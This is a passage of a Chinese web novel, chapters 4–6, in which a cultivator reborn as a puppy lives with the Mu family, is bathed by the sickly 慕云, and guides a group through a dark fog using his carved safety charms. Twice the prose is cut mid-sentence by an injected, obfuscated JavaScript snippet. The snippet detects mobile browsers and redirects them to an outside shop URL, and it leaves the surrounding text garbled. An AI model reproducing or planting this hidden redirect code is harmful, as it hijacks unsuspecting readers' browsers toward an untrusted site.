苍暝原本已经开始吃东西,此时动动耳朵,又抬头仔细看看慕云——刚才没靠近还没感觉,现在听慕云的声音,感觉似乎有些虚。 只是,他并没有出什么异样,只能归因于大概是慕云累了。 晚上也和平日没什么不同,苍暝待在放回炕上的垫子里,慕云借着油灯检查慕海的功课。 大概是因为慕云体弱,旁人还不需要烧炕的时候,他的屋子里就已经烧起炕,还暖得非常舒服。 苍暝像往日一样睡去。 直到他因一阵束缚感醒来。 黑暗中,他感觉有东西贴着自己微微起伏。 苍暝怔愣片刻,才反应过来——他应该是被慕云抱住了。 他小心地抬头,果然看见慕云熟睡的脸。 接着又发现,慕云不仅是抱住了他,还把垫子也一起抱进了怀中。 这种情况还是头一回,先前这一个月他们一直睡得井水不犯河水。 苍暝犹豫着要不要挣开。 但最终还是没有动弹。 因为他感觉到和慕云相贴着之处并没有热得难受。 今晚的确是起了凉风,慕云又还盖着薄被。 或许是睡着睡着感觉凉了。 就当报恩吧。 苍暝重新闭上眼睛。 . 4. 洗澡 苍暝再睡醒之时,慕云已经不在身旁。 屋子关着门窗,不过糊着厚纸的窗户透出的光亮比往日要明亮一些。 苍暝很快意识到——是自己醒得比往日迟了,似乎昨晚那一觉睡得格外地沉。 他拱起身伸个懒腰,转头看看。 炕上已经规整好,他和他睡的垫子也回到平常的位置。要不是苍暝夜里醒过,可能都不会察觉慕云昨晚抱过自己。 苍暝踩着阶梯下床,顶开掩着的门板挤出门去。 屋外明亮的阳光让他眯起眼,等着眼睛适应。 这时,就听到慕海惊喜的声音:“暮色,你起来了!我还以为你有哪里不舒服呢!我去给你拿早饭!” 苍暝在他跑走的脚步声中睁眼打量下院子。 还是和以往一样,慕娘和慕雨在干活,旁边摆着慕海练字的沙盘。慕爹应该是带着慕山出去了,就不知慕云…… 恰在这时,苍暝听见厨房那边传来慕海在说:“大哥,暮色醒了!” 接着是慕云平静的回应:“都说了只是在睡而已,这下放心了吧。” 除了兄弟俩的说话声,还有几只母鸡的动静,院墙外传来的隐隐人声,以及更远处的狗叫鸟鸣。 这个没多富裕的村子,每一日都是颇为热闹。 苍暝如平常一般,先在院子角落转了一圈,回来就见慕海端着两只碗等着自己。一只碗里是羊奶,一只碗里是菜粥。 在苍暝低头吃喝时,慕海轻轻抚着他的背毛,一边说:“大哥在烧水。他说今日天气好,一会儿给你洗个澡。你好多毛毛打结,洗干净了一定会很舒服!” 苍暝耳朵微微一动——洗澡,真是一个陌生的词。 他知道“洗澡”之意,但自他化形以来,还没有真正意义上洗过澡。以前穿着法衣,本就尘埃难沾,便是偶尔碰到污脏,也不过是一个洁净术既可解决。倒是曾经借助灵泉修行,可也算不上洗澡。 苍暝脑中突然闪过一段模糊的记忆——似乎曾有人对他说过:“人生在世,没有比喝着美酒泡澡更享受之事。修行太苦,要对自己好一点。” 只是,他却记不起来,是在何时何地,何种情形之下,什么人对自己说的。 不过这并不重要,他思索片刻没有结果,也就抛在一边,静候一会儿的“享受”。 等苍暝吃完东西,果然见慕云提着两只木桶出来,身后还跟着怀抱木盆的慕海。 慕云坐在阳光里,往木盆中兑温水。 慕雨笑道:“大哥,你养狗这么精细,还专程烧热水。我都没见过谁家还给狗洗澡的,嫌脏了都是赶到河里让狗游一圈。” 慕云笑笑,回说:“暮色还小,身子也没好全,洗冷水病情会加重。再说,我也想洗洗,多烧点水就是顺便的事。” 慕雨:“你都让它在你炕上睡一个月了,我还当你不嫌脏呢。” 慕云挑下眉:“等会儿我给暮色的垫子换个套,你把换下来的那个洗了。” 慕雨:“成,你和衣服一起拿出来就好。” 慕云兑好半盆水,再调好澡豆,转眼来看苍暝。 苍暝主动迈步走进盆中。 温暖的水浸泡过身子的一瞬,他的确感受到了以前没有感受过的舒适。 慕云一边给苍暝背上抹澡豆,一边说:“估计得洗两三回才能洗净,你泡着别动,我慢慢给你搓。” 苍暝依言趴在盆中,将头搭在盆边。 蹲在旁边看的慕海稀奇地说:“大哥,暮色好聪明啊,能听懂你说话!” 慕云笑道:“泡在热水里肯定舒服嘛。” 他动作不急不躁,耐心地一点点揉搓着苍暝那些结成团的毛发。 苍暝在这不轻不重的揉搓里还真体会到了一点享受之感,闭起眼睛任慕云施为,还偶尔动动身子,抬腿配合。 就在他昏昏欲睡之时,感觉到慕云把澡豆从自己下巴一路往下抹。 丹田是要害之一,苍暝本能地想要躬身躲开。 但他这副小狗身子实在弱小,慕云手下一用劲,他就被按在了盆中。 苍暝绷紧身体,睁眼去看慕云。 慕云还是带着温和的笑,柔声说:“只是洗肚子上的毛,一会儿还有洗头上的毛毛。乖乖的,不要乱动哦。” 苍暝盯着他那微弯的黑眸看了片刻,没感觉到恶意,才慢慢放松。 慕云也松开手劲,一边手托着苍暝后背,让他稍稍侧躺,另一边手轻柔地搓洗小狗肚子的软毛。也不知是有意还是无意,连接下去洗后腿时都没有碰到别处。 最后用去了四盆水,才把苍暝给洗干净,恢复一身洁白的毛发。 苍暝趴在慕云腿上,一边享受着他用布巾擦毛的服务,一边看着慕海提着脏水去给院子里的小菜地淋水,一时间内心似有所感——今日突然被抓来洗澡,该不会是昨晚慕云抱着自己睡,嫌自己脏了…… 慕云给小狗尽量擦干毛,把苍暝抱回屋里放到炕上,将小狗垫子拆了布套,垫上毛巾,才示意苍暝趴上去,又摆上水碗和一只点着炭火的小炭炉。 他顺顺小狗的毛:“太阳虽好,但外头有风。你自己转着烤一烤,让毛早些干透,别着凉了。” 苍暝就趴在小炭炉边烤毛。除了炉火的温度,他身下垫子同样暖暖的,估计是厨房一直留有火,炕还暖着。 果然,吃过午饭,慕云就搬来浴桶,再提水往里倒。 这一个月里,苍暝见过很多次慕云洗澡。慕云算是个爱干净的,隔上一两日就洗一回,比慕娘和慕雨都洗得勤,也都是在烧起炕的暖和屋中洗。 只是,先前苍暝秉持非礼勿视,都会在他洗澡时出院子溜达。但现在慕云将他放在这里,看着并不在意洗澡时他待旁边。因此苍暝也就不再动弹,只是闭上眼睛不去看。 慕云脱衣声和下水声传来,接着是一声仿佛很享受的舒适长叹。 苍暝又被勾起刚才泡热水的感觉,不由得想——日后偶尔也可以泡一泡澡。 他在轻微的哗哗水声中烤着身上的毛。或许是因为炭火带来的温度,没过多久,便感到口渴。 苍暝暗自忍耐,想先等慕云洗完。但渐渐地,连水声都没再响。感觉慕云暂时还没有起身的意思,他最终还是微微睁开眼睛。 屋子不大,浴桶就和炕隔着一两步距离。 慕云闭着眼泡在浴桶里,抬起的双臂架在浴桶边缘,桶中的水在他胸前微微摇晃。 苍暝见这一幕算不得太过失礼,便站起身,低头凑到水碗边喝水。 有那么片刻,他感觉到有视线落在自己身上,该是慕云听到了声响,不过那感觉很快又消失。 苍暝喝好水,重新在炭炉前趴好。 见慕云如此放松,他的目光便不自觉地停留在对面。 苍暝在修真界见多了模样俊美的修士。但,哪怕在从不在意长相的他看来,慕云亦丝毫不输给那些以容貌著称之人。 尤其是那未语先笑的眉眼,让人听之如沐春风的温润嗓音,总会让人禁不住地生出想要亲近之意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934819|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也难怪每个来串门的年轻女人见到他都会忍不住脸红,更难怪想给他作媒的人总是不死心。 慕云唯一的些许小缺憾,就是皮肤过于苍白,嘴唇淡得几乎没有血色,一看便知身上带着病。 苍暝注视片刻,重新闭上眼,心道——若能顺利寻到自己缺失的那一块本体,离开下界之前可以尝试帮慕云温养身体,回报他的收留之恩,也了却这段因果。 然而凡人寿命有限,只希望慕云能够等到那一日。 毕竟动用神魂之力帮助他人会让神魂受损,没寻到本体碎片之前,苍暝不敢轻举妄动。若是慕云等不到,那苍暝只能将这份回报留给他的后人。 苍暝一边做下决定,一边照旧调息。 这具小狗的身子比他预想中恢复得快不少,约摸再有一个月,便能够痊愈。 明明在修真界只是施个基础修复术的事,在这几无灵力的下界,就得拖上如此长的时间。 等慕云洗好澡,苍暝的毛发也都干透了。先前他的毛发打结太多,不少搓不开的地方被慕云剪了去,此时再没了水汽,苍暝都感觉好似减了一层束缚,一下轻松许多。 慕云收了炭炉,让苍暝到院子中晒太阳。苍暝刚跟着拿起垫子的他走出屋,碰到洗衣服和玩耍回来的慕雨慕海。 慕海欢喜地“啊”一声,一边喊着“暮色更可爱了”,一边跑过来蹲身要摸。 却被慕云拦住:“先去洗手。暮色刚洗干净,你别给摸脏了。” 慕海向来唯大哥之命是从,乖乖跑去洗手。 慕雨晾好衣服,也过来试探着摸摸苍暝背上的毛,赞道:“这一洗干净,比先前漂亮许多啊。” 慕娘笑着接话:“以前我见过这种狗,长大之后很威风的呢。” 慕云:“再过几个月,我们就能见到暮色威风的模样。” 苍暝动动耳朵,重新在垫子上趴下——可惜,几个月后他很可能已经不在这里。 这日晚饭有鸡肉,慕家人吃得很开心。凡人的生活便是如此容易满足。 当然没有少了苍暝的份。慕云吃两块,苍暝也分到两块。 吃饭之时,一家人聊起慕山的婚事,还缺什么都要趁着冬日农闲时补齐。 慕娘说:“给玉珠的几套衣裳我做好了,山子你早些给她送过去,哪里不合适她还来得及改改。” 慕爹接话道:“吃过饭我就去老三家问问,看他们哪时往那边送鸡,我们搭个车。” 慕海凑热闹:“我也要去!我好久没和水生玩了!” 慕爹宠孩子,答应道:“行,那海子也一块去。雨儿呢?” 慕雨摇摇头:“大哥不一定整天在家,我还是留在家里陪娘吧。” 一家子说着话吃完饭,再收拾收拾,也就在夜色里休息了。 慕云检查过慕海的功课,放他回屋睡觉,也上炕吹歇灯。 苍暝循例出趟院子,回来踩阶梯上炕,在自己的垫子上趴好。 但,下一刻,他就连着垫子一起被慕云抱进怀中。 和昨晚一样。 苍暝反射性地绷起身子。 慕云的手便适时地抚上他后背,轻柔地顺着背毛。 苍暝一抬头,在黑暗中对上他笑眯眯的脸。 慕云:“下午泡澡泡得久了点,好像有些着凉了,感觉炕不太够暖,暮色帮我取取暖吧。” 苍暝放松下来,在慕云怀中闭上眼睛,继续报恩。 却不禁心道——果然是昨晚抱过之后嫌脏。 . 5. 异样 之后的三日,夜里慕云都抱着苍暝睡觉。 也不知道是不是因为挤着更暖和的缘故,苍暝都感觉这样睡得更好,就随他去了。 这三日里,慕云白日没有再出门,而是总待在一间小屋里。 那间屋子像个储藏室,只要靠近屋顶处开着一扇小天窗,平常门外还挂着锁,苍暝来的这一个月里从未见人进去过。现在慕云在里面之时,慕家人也不会进去打扰他。 苍暝见到慕云拿着一些草药和石块进去,像是要在里面制药。他并没有多少好奇心,既然慕云关着门,他就一直没去打探。 第四日早晨,全家吃早饭之时,慕云突然说:“今日我带些药去县城,等会儿就借村长家的牛车走。” 慕家人都有些吃惊,但并没有人表示反对。 慕爹只是有些苦恼地皱起眉头:“前几日就和老三家说好,今日搭他们的车去山子岳家。你突然要进城,牛车又走得慢,一去一回就得一整天。那今日家里就没个男人在……” 慕山听到,连忙说:“爹你留下吧,我自己去就成。反正就是跟三叔的车,三叔和堂哥都在,不妨事。” 慕爹想了想,慕山转过年就要成家,虽说不搬出去单过,可也该慢慢担起点事了,就点头道:“成,那你去吧,要有什么事多问问你三叔和堂哥。” 慕山点头应下。 慕海看他们说定,这才问:“那我还能去吗?” 慕山一乐:“你得听我的话,爹娘才能放心让你跟我去。” 慕海立刻笑开,连忙保证:“我一定听二哥的话!” 商量完事,慕家人抓紧吃完早饭,各自忙开。 苍暝在院子里等慕云——难得慕云要离村进城,他决定跟去看看城里的情况。刚才听慕云的话音,是特地借牛车去,那该是慕云独自去,多加他这条小狗应该无所谓。 慕云背着个包袱出来,和家人们招呼一声,就迈步往院门走。 低头开门闩时,他发现一只白色毛团停在自己脚边,不由得微微一愣。 门打开,慕云迈出门一步。小狗也跟着往前,继续停在他脚边。 慕云不禁一笑,蹲下身轻轻顺一下小狗的背毛:“暮色也想去县城?” 苍暝抬头定定地看他。 慕云却微微摇头:“这次不行。我要去的地方不让狗进,县城里人多且杂,落单的小狗容易被坏人盯上。下回好了,年前家里还要去县城买东西的,那时再带着你一起。” 苍暝看了他一会儿,知道这次是跟不了了。 慕云虽然面上温和亲切,但苍暝看得出来,他是个一锤定音的人。慕家也的确没有人会反驳他,哪怕有时他做的事在这里的人眼中颇为出格——比如把一只狗养得这般精细,又睡炕又喂奶喂肉。 既如此,苍暝亦不强求,转身走回自己的垫子。 慕云笑笑,向他招手道:“我会给你带好吃的回来。” 说完,转身离开。 慕山和慕海出发得晚些。说是要给未婚妻送新衣,但慕娘还多收拾了一些其他的礼,算不上多贵重,可东西多一点更能体现出对岳家的重视。 慕雨给慕海换上一身没有补丁的衣服,细细叮嘱:“在外头一定要跟紧二哥,到了那边,只能在屋院里和水生玩,没有二哥跟着绝对不准出门。记住了吗?” 慕海乖乖点头:“记住了。” 说完,转头看看在院中晒太阳的苍暝,反过来叮嘱慕雨:“姐姐,你要记得留心暮色的碗,没水了要给它添,中午吃饭也别忘了喂它。” 慕雨看他这认真的模样觉得可爱,打趣道:“大哥都没你这么操心它,要不你带着它去吧。” 慕海顿时双眼一亮:“可以吗?” 慕雨微愣,随即向慕山努努嘴:“你问二哥。” 慕海就跑去扯慕山的裤腿:“二哥二哥,我们带上暮色吧!我会照顾好它!” 慕山低头看看弟弟,再看看院中那一团洁白漂亮的小狗,想着未婚妻也很喜欢可爱小动物,便点了头:“可以是可以,但你要看好它。” 慕海露出大大笑容:“二哥放心,暮色可乖可聪明了,绝对不会乱跑!” 慕山想着这只小狗的确特别沉稳,和别的活泼小狗完全不一样,就更放心一分。只是,看着小狗闭眼趴着,又说:“可平常都不见它跟你出门玩,它会跟你去吗?” 慕海眨眨眼,连忙跑到苍暝身边,蹲下身摸着他的头问:“暮色暮色,我们去另一个村子玩,你想不想去?” 苍暝其实刚才就听到了两兄弟的对话,这时思索片刻,觉得出门探个路也不错,就睁眼站起身,走出垫子,低头蹭蹭慕海手背。 慕海高兴地对慕山喊:“二哥,暮色答应了!” 慕山瞧得挺稀奇,不由得嘀咕:“难道这狗还真听得懂人话?” 慕娘一直在旁看着,这时说道:“你们要带暮色去,那我给它准备两块饼吧。你们不好拿张家的东西给它吃,找机会避着人偷偷喂它好了。” 说完,快步去厨房忙活,没多久就拿出一个油纸包给慕海收怀里。 苍暝抽抽鼻子,闻到了蛋香和肉香。 等一切准备就绪,慕山背好背篓,招呼慕海跟在自己身旁。 慕海有个小包袱,除了他自己要带的东西,还装有苍暝的水碗。此时他将小包袱往肩上一挎,就要弯身抱苍暝。 苍暝却躲开了,绕到他另一边脚。 慕海一愣,问道:“暮色,你伤好到可以自己走了吗?” 苍暝抬头回视,难得抬起尾巴摆了两下,再垂回去。 慕海犹豫地慢慢走出几步,看小狗步子稳定地跟在身边,这才放下心。 * 慕爹把兄弟两个送到借车的人家,便离开去干活。 苍暝这才知道,慕三叔就是村中养鸡鸭的那户人家,慕家常跟他们买鸡鸭加菜。附近村子甚至镇上,若有人家摆宴,家中鸡鸭不够吃的,多数都会来慕三叔这里订上一些,到日子慕三叔就给送去。 今日就是要往慕山岳家那个村子送,顺路把慕家兄弟捎上。 慕三叔家的院子很大,围墙围出老远去,将屋旁搭的鸡舍鸭舍都护在墙中。 大人们在装车,慕海没事做,跑过去看鸡鸭,苍暝还是跟在他身旁。 这一走近,苍暝就觉得到鸡舍鸭舍里气息有些不寻常。 他凝神仔细感受一下——虽然不明显,但隐约能感觉得出来,这一小片的地方有稀薄的灵气流动感。 苍暝四下望望,没看出其他异常,只能猜测这是一处天然形成的聚气地。难怪养在这里的鸡鸭都精神十足。 一人一狗在这看了一会儿,就听到慕山招呼上车。 慕三叔赶的也是牛车,装鸡鸭的笼子和放鸡蛋鸭蛋的篮子放在车斗中,他儿子坐一旁看着。 慕山把背篓放好,弯身将慕海抱上车,又要去抱苍暝。 苍暝却快一步,轻巧地跳到车上,挨着慕海趴下。 慕山确认弟弟坐好,自己也爬上车子。慕三叔挥鞭打个空响,牛车就慢慢走起来。 路上无事,堂哥见慕海给小狗顺毛,稀奇地道:“你们家这小狗可真干净,这么白,身上都不见一点脏。” 慕山笑着应:“大哥爱狗,养得精细,前几日刚给它洗过澡。” 干净的小狗招人喜爱,堂哥忍不住嘬嘬嘬地逗小狗。 当然,苍暝并没有理会。 堂哥感叹:“你们家的狗好安静。我家那只就爱闹腾,当年这么大的时候成天叫唤,一不留意就自己跑出去玩。” 慕山想了想:“这么一说,我好像都没听它叫过。” 慕海仰起小脸,认真地道:“大哥说过,聪明的狗狗平常都很安静,只会在关键的时候叫。” 堂哥逗他:“什么是关键的时候?” 慕海茫然片刻,老实摇头:“大哥没说。” 乖巧孩子惹人疼,堂哥没再逗下去,话题顺势转到了慕云身上。 苍暝闭眼听着,慢慢从他和慕山聊的话里听出,慕三叔家里会养起鸡鸭,还是两年前慕云提出的。 当时为给三婶治病,三叔家里欠了不少钱,慕云不仅帮他们做出详细的规划,还借钱给他们建笼舍买鸡鸭。三叔一家忐忑地养了一年,慢慢赚到些钱,鸡鸭也少有病的,这才放下心大胆干。 如今慕三叔不仅还完了债,生活还比以前好上许多,成了村里许多人羡慕的人家。村中也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934820|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人学着他们养鸡鸭,但数量少时还好,数量一多就容易生病,最终只得作罢。 现在说起养鸡鸭这事,慕三叔全家对慕云都是感恩戴德。慕家去买鸡鸭,三叔原本不愿收钱,双方推来推去,最后就折中要了个低价。 苍暝一边观察着出村后的路,一边听慕家堂兄弟两个闲聊,就这样一路到了隔壁村子。 * 慕山的未来岳家姓张,家中只有两个孩子,一个是慕山的未婚妻张玉珠,还有一个是和慕海差不多大的小儿子张水生。 张家夫妇今日都在家,见到送东西来的慕家兄弟颇为惊喜,连忙热情招呼。 苍暝跟在慕海脚步,暗暗观察片刻,发现张家虽表面看起来和慕家相差不大,但实际上还是比慕家差上不少。 最明显的一点就是,张家一日只吃两餐。 慕家兄弟到时,差不多就是慕家人吃午饭的时间。但张家没有招呼人吃饭,只拿出一碟馒头来招呼。除了慕家兄弟,张家夫妇和张玉珠都没吃,也就张水生年纪小,被张娘塞个小馒头陪慕家兄弟一块吃。 张家姐弟都很喜欢苍暝。张家也养狗,可当然不会洗得这般干净,瞧着苍暝一身雪白蓬松的毛,都稀奇得紧。张水生想摸,但苍暝躲开了。慕海见此,连忙拿出自己带的玩具,邀张水生一同玩。 慕山吃过两个馒头,坐着跟张家夫妇说过好一会儿话,张娘就转话道:“这两日晚间都下雨,山上该有些菌子冒出来。玉珠,你带慕山去山边上采一些拿回去,给家里加个菜。” 张玉珠是个爽朗大方的姑娘,毫不扭捏地站起身:“好啊,这就走吧。” 张水生一听能上山,高兴地喊:“耶,上山采菌子咯!” 张娘赶紧拍他一巴掌:“你凑什么热闹!留家里陪慕海玩。” 慕海眨眨眼,却是说:“二哥,我也想去。” 一边说,还一边给慕山使眼色,向他示意自己身旁的小狗。 慕山看明白了,便道:“玉珠,慕海难得来一趟,我想带着他一起。” 张玉珠大方地点个头:“当然可以,慕海那么乖。” 又看向弟弟:“不过水生还是算了,就你那一上山就乱跑的劲,到时找起你来怕要耽误慕山慕海回家。” 张水生扁扁嘴,但被他娘用力拉着,只得眼睁睁看着姐姐和小伙伴带着漂亮小狗一起出门。 慕山背着背篓,一手牵着慕海,虽和张玉珠并排走着,却也隔着至少一臂的距离。 乡间小道没多宽,三人已经占满。苍暝又不想踩到路边杂草里,就落后一些跟在后方。 张玉珠将慕家兄弟领到常去山边上,和慕山一同在树根下找菌子。 慕海看附近没别人,就蹲下身,对苍暝招手:“暮色,来吃饭了。” 他拿出收在怀里的小碗,再掏出油纸巾,一层层剥开,将两只的饼掰碎了放进碗里。 张玉珠起先没在意,后来闻到香味,才好奇地过来看看,就吃惊道:“喂这么好啊!” 慕山忙解释:“这是大哥的狗,他养得仔细,平常这狗都是和我们一同吃饭。今日慕海想带狗一起来,娘才特地准备了午饭。” 张玉珠曾听慕山隐约透露过,家中大哥贴补的家用并不少,见他像是误会自己在意,连忙笑道:“不愧是大哥养的狗,随大哥,好看得紧。你放心,我不会和家里说。” 苍暝吃完两只饼,又喝过慕海倒的水,就寻了处地方坐着等三人采菌子。 三人找到的菌子不算多,但也够慕家吃上一两餐。 回程之时没有走原路,张玉珠看着天色挑了另一条路,说是没那么好走,却能近一些。这条路更窄,只能她在前头领路,慕山牵着慕海跟着,苍暝缀在最后。 先前来时那条路上,时不时还能遇见村里人。这边就荒得多,一路过来都没见到人影。 走着走着,苍暝突然升起如同全身寒毛倒竖之感。 他心头一凛,转头四下观察。 就见左边几步外的枯草间,似乎有个小小的黑影在摇晃。 未等苍暝看清,那道黑影突然拉长拔高,飞速向慕山窜去。 苍暝下意识发出一阵吠叫,也纵身扑向慕山。 . 6. 平安 没有其他人的小路上响起凶猛的犬吠,让慕山、慕海和张玉珠都吓了一大跳。 慕山愣了一瞬,才反应过来该是身后的小狗在叫,连忙转过身去。 就见一团白影高高蹦起,直冲自己而来。 那白影来势太快,慕山根本来不及思考,只下意识地将慕海往自己身后用力一拽,脚下也横向挪步,想要躲开。 下一刻,他就感觉到那个白影擦着自己手边掠过,手掌边缘如同被软软的毛一扫。 几乎同时,他又感到有一道力量不轻不重地撞了下自己腰侧——手与腰之间的一点空隙仿佛钻过一阵凉风,让他后背不受控地窜起恶寒,连后脖颈的汗毛都像是全竖了起来。 这一切都发生在眨眼之间。 慕山脚下一个踉跄,堪堪站稳,嘴里已经同时喊出:“玉珠、海子,都躲我身后来!” 不过,这时那团白影已经落地,转回身。 慕山这才看清,是自己家中那只小白狗。 只是,那只狗和以往除了吃就是睡的懒散模样不同,此时双耳高竖,乌溜溜的眼中带着的寒光,满脸警惕地四下观察。 那气势,完全不像一只才半岁的幼犬。 慕山心中不自觉地生出点寒意。 慕海个子矮,刚才又被慕山往身后拽,没看清怎么回事,只懵懵地问:“二哥,怎么了?” 张玉珠也靠近过来问:“?崴脚了吗?” 她刚才听见狗叫转身,就见慕山往边上一踉跄,像是?崴到脚。但两人毕竟还没成婚,她不好直接扶,赶紧先问一句。 慕山这时才感觉到,刚才腰侧被撞的地方升起疼痛感。不仅痛,还像被雪块贴着似的冰冷。 他抬手捂住,又低头仔细看看,发现衣服并没有破。 张玉珠见他这举动,再问:“是扭到腰?还是……” 她犹豫着看向那只明显在警戒中的白色小狗:“……它咬了你?” 虽然她自己也觉得这个猜测不合理,但狗毕竟是狗,何况现在那只狗的确不太对劲。 慕山同样不解,但还是摇头道:“不是,刚才它倒像是在提醒我……” 他很确定,刚才小狗是从他手掌外侧掠过去。而如果不是他躲那一下,刚才撞到他腰侧的那道力,应该就会正正撞到他后背。 就在慕山惊疑不定的时候,他突然又感觉胸口处升起一阵暖意。那暖意还像会流动的水,向着他又痛又冰的腰侧滑过去。 没一会儿,慕山便觉得疼痛和冰冷都在渐渐减弱。 苍暝原本还在四下警戒,此时突有所感地转头看向慕山。 就发现慕山腰侧的衣服内,刚才被那道黑影撞过的地方,正隐约露着点微弱的萤光。 刚才苍暝虽然没看出那道黑影究竟是什么,但明显不是什么好东西。只是那东西溜得太快,尽管苍暝还能感觉到它就在附近虎视眈眈,可调动不了灵力搜索,他也不知道那东西藏在何处。 就在气氛正诡异之时,突然,众人都听到一道“啪”的声响。 像是木头开裂的动静。 声音很轻,但因为安静,众人的注意力又高度集中,就都听得清清楚楚。 苍暝将目光落在声响发出之处——慕山的胸口。 在场三人也是一样。 慕山此时已经觉得腰侧的暖和痛、冷都消失了,完全恢复如常。 他低头看着自己胸口,犹豫片刻,还是伸手进去掏了掏。 扯出一块小木牌,木牌正中有条大裂口。 那口子只要再大一点,木牌就会完全一分为二。 显然,刚才那声轻响就是来源于此。 慕海惊呼:“啊,是大哥给的平安符!” 张玉珠:“平安符?” 慕山解释道:“大哥亲手刻的,还送到庙里去供过,我们家每人都有一个。” 一边说,他心中一边想着——莫不是这符给自己挡了一灾?刚才最先有暖意的地方,正是挂着平安符之处。 没来由地,慕山感觉心中安定了点。 他将平安符取下,用绳子缠好,再小心地收进腰间口袋,一边说:“没事了,我们走吧。” 然而,三人收拾好心情正准备走,却猛地发现——四周不知何时变得一片黑暗,只有他们三人一狗所在这一小片地方能看见。 张玉珠吓一大跳:“怎么天就黑了?刚才明明还很亮!” 慕山沉着脸皱起眉——这可不像天黑,倒像是他们被一层浓浓的黑雾包裹住了。 慕海贴到他身旁,紧紧抓着他的手,小声说:“二哥,我害怕……” 慕山同样握紧弟弟,安慰道:“别怕,二哥在这。” 然而,说是这么说,他心里也是直打鼓,完全不知道该怎么办才好。 几乎是下意识地,慕山低头向刚刚显露出不寻常的自家小狗看去。 就见那只狗也在看自己,还迈步走过来。 苍暝绕过慕山,走到慕海腿边。 慕海低头看看它:“暮色不用怕……” 苍暝没等他说完,直接抬起前腿趴到他身上,用头去顶他胸腹。 慕海恍然大悟:“啊,你是渴了吗?我这就给你水。” 他蹲下身,从怀中掏出碗。 苍暝再次绕过那只碗,头顶在慕海怀里。 慕海很是不解:“你是饿了?没有饼了,忍一忍,回去了我给你找东西吃……” 慕山若有所悟,也蹲下身,伸手从弟弟怀里掏出和自己一样的平安符,问苍暝:“你是想要这个?” 苍暝重新在地上站好,喉中发出一声低鸣。 慕山来回看看那块平安符,看不出什么名堂。 无论是刚才他自己感受到的温暖,还是现在小狗的示意,都表明这平安符必有用处,可他不知道该怎么做。 慕山犹豫片刻,最终还是选择了相信这只被兄长捡回来的神奇小狗。他将平安符从弟弟脖子上取下,递给苍暝。 苍暝先看看那块小木牌,见上面刻着慕海的名字。 他又用鼻尖顶顶慕山的手。慕山领悟力不错,翻过一面。不过这一面上也只是刻有“平安”二字。 苍暝张嘴将平安符叼住,仔细感受一下。 没有异样,就像一块再普通不过的木牌。 但他很确定,刚才他在慕山身上感觉到了微弱的灵力。 苍暝再将调动灵力到牙齿上,顶着结界的压制极快地轻轻撞击木牌。 平安符发出了淡淡的莹光。 光亮很微弱,却莫名让人感到一丝温暖。 苍暝抬头分辨清方向,叼着平安符往前走。 走出几步,没听到身后有跟上的脚步声,又停下回头望。 慕山还在为自己看到的一幕震惊,对上苍暝的目光,才回过神,连忙拉好慕海,又叫张玉珠抓住自己背的背篓边,一同紧跟着苍暝走。 苍暝听到张玉珠小声地问慕山:“这平安符竟然这么神!你知道慕云大哥是把符送到哪间庙供的吗?回头我也去供上四个。” 慕山:“等回了家我问问大哥。” 苍暝却在心中接道——这平安符能有用,怕是和那座庙关系不大。 他能感觉到四周的黑雾在翻腾,想要涌过来,又对平安符的光有所忌惮。 不过,那东西明显没有死心,依旧试图困住众人。 在黑暗中行走很容易失去对时间的感知,也不知道走了多久,慕山发现慕海脚步跟不上了,就取下背篓背上弟弟。张玉珠舍不得采下的菌子,自己将背篓背上,改成拉住慕山的衣角,以免走散。 慕山表面上镇定地安抚着张玉珠才慕海,却是走得心里直打鼓。幸好前方的小狗没有表现出急躁,平安符那微弱的光也一直亮着。 如此又走了好一会儿,冷不丁的,四周变得亮堂了不少。 是明亮的 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慕海第一个惊喜地喊道:“大哥!二哥,是大哥啊!” 慕山也看见了——慕云和张家夫妇一同等在村口,旁边还停着一辆牛车,那处火光正是张爹拿在手上的火把。 前方就是亲人,本已疲惫的慕山和张玉珠顿时又感觉身上有了劲,加快脚步向前走。 苍暝却缓下脚步,落到两人身后。 刚才他一路上都在不断用灵力激发平安符发光,哪怕每次使用的灵力都极少,但结界对外放灵力的压制尤其强烈,此时他已经在忍耐一阵阵的头痛。 张家夫妇举着火把迎上前来,围着三人连声询问。 张玉珠安抚二人道:“爹、娘,我们都没事,放心吧!” 张娘拉着女儿左看右看,确认真没事,才在她手臂轻拍一下,抽泣道:“去捡个菌子能有多远,这也会走迷路!真是吓死娘了!” 张玉珠搂着她哄道:“娘你忘了,小时候算命先生还说过我是有福之人,怎么会有事呢。今日的菌子很鲜呢,我饿了,赶紧回家吃菌子吧。” 慕山听着张家母女的对话,心中不免觉得奇怪,但见到跟在张家夫妇后面走过来的慕云,连忙先问:“大哥,你不是进城了吗,怎么会过来?三叔和堂哥呢?” 慕三叔是个很负责的人,既然把他们兄弟送过来,就一定会再把人带回去。下午不见兄弟俩和张玉珠回来,按理说他们和张家夫妇都应该进山寻人,寻不到还会召集村里人帮着一同找。 慕云上前帮着托住慕山背上的慕海,示意慕山往牛车走,一边说:“是我让三叔和堂哥先回去,也和爹娘说一定,若是晚了不见我们回,就是在这边留宿了。我离开县城时还早,所以想着过来接上你们。” 慕山微微皱眉,隐隐觉得这话不对——以两个村子到县城的距离,慕云再怎么早,来到这边都已经是傍晚了。正常这个时间,他们早就已经搭慕三叔回家去,又怎么能在这边接到他们? 